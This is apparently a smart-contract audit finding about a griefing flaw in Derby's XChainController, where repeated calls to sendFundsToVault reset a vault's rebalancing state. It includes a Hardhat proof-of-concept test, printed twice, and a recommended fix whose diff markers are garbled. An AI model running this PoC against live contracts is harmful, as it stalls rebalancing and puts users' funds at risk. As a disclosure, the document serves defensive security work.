`XChainController::sendFundsToVault` can be griefed and leave `XChainController` in a bad state
A user can grief the send funds to vault state transition during by calling `sendFundsToVault` multiple times with the same vault.\\nDuring rebalancing, some vaults might need funds sent to them. They will be in state `WaitingForFunds`. To transition from here any user can trigger `XChainController` to send them funds by calling `sendFundsToVault`.\\nThis is trigger per chain and will transfer funds from `XChainController` to the respective vaults on each chain.\\nAt the end, when the vaults on each chain are processed and either have gotten funds sent to them or didn't need to `sendFundsToVaults` will trigger the state for this `vaultNumber` to be reset.\\nHowever, when transferring funds, there's never any check that this chain has not already been processed. So any user could simply call this function for a vault that either has no funds to transfer or where there's enough funds in `XChainController` and trigger the state reset for the vault.\\nPoC in `xChaincontroller.test.ts`, run after 4.5) Trigger vaults to transfer funds to xChainController:\\n```\\n  it('5) Grief xChainController send funds to vaults', async function () {\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n\\n    expect(await xChainController.getFundsReceivedState(vaultNumber)).to.be.equal(0);\\n\\n    expect(await vault3.state()).to.be.equal(3);\\n\\n    // can't trigger state change anymore\\n    await expect(xChainController.sendFundsToVault(vaultNumber, slippage, 1000, relayerFee, {value: parseEther('0.1'),})).to.be.revertedWith('Not all funds received');\\n  });\\n```\\n
I recommend the protocol either keeps track of which vaults have been sent funds in `XChainController`.\\nor changes so a vault can only receive funds when waiting for them:\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/MainVault.sol b/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/MainVault.sol\\nindex 8739e24..d475ee6 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/MainVault.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/MainVault.sol\\n@@ // Remove the line below\\n328,7 // Add the line below\\n328,7 @@ contract MainVault is Vault, VaultToken {\\n   /// @notice Step 5 end; Push funds from xChainController to vaults\\n   /// @notice Receiving feedback from xController when funds are received, so the vault can rebalance\\n   function receiveFunds() external onlyXProvider {\\n// Remove the line below\\n    if (state != State.WaitingForFunds) return;\\n// Add the line below\\n    require(state == State.WaitingForFunds,stateError);\\n     settleReservedFunds();\\n   }\\n \\n```\\n
XChainController ends up out of sync with the vault(s) that were supposed to receive funds.\\n`guardian` can resolve this by resetting the states using admin functions but these functions can still be frontrun by a malicious user.\\nUntil this is resolved the rebalancing of the impacted vaults cannot continue.
```\\n  it('5) Grief xChainController send funds to vaults', async function () {\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n    await xChainController.sendFundsToVault(vaultNumber, slippage, 10000, 0, { value: 0, });\\n\\n    expect(await xChainController.getFundsReceivedState(vaultNumber)).to.be.equal(0);\\n\\n    expect(await vault3.state()).to.be.equal(3);\\n\\n    // can't trigger state change anymore\\n    await expect(xChainController.sendFundsToVault(vaultNumber, slippage, 1000, relayerFee, {value: parseEther('0.1'),})).to.be.revertedWith('Not all funds received');\\n  });\\n```\\n